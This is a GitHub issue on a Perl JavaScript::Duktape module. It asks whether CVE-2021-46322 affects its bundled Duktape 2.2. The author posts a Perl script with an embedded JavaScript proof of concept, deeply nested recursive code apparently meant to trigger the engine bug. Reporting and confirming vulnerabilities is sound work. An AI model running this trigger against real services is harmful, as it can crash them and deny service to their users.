Skip to content

Does CVE-2021-46322 affect this? #41

Open

Description

@robrwo

Does CVE-2021-46322 affect this? See svaarala/duktape#2448 which should affect all v2.2 versions. The Changes file says

2.3.0 2017 2017-12-16
        - update duktape version to v 2.2.0

Activity

  1. robrwo commented on Jun 24, 2022

    @robrwo
    Author

    I verified that this is an issue:

    use JavaScript::Duktape;
    
    my $js = JavaScript::Duktape->new();
    
    $js->eval( << "POS"
    function JSEtest() {
        var src = [];
        var i;
    
        src.push('(function test() {');
        for (i = 0; i < 1e4; i++) {
            src.push('var x' + i + ' = ' + i + ';');
        }
        src.push('var arguments = test(); return "dummy"; })');
        src = src.join('');
    
        var f = eval(src)(src);
    
        try {
            f();
        } catch (e) {
            print(e.name + ': ' + e.message);
        }
    
        print('still here');
    }
    
    try {
        JSEtest();
    } catch (e) {
        print(e.stack || e);
    }
    
    POS
    
        );
  2. added a commit that references this issue on Jun 24, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions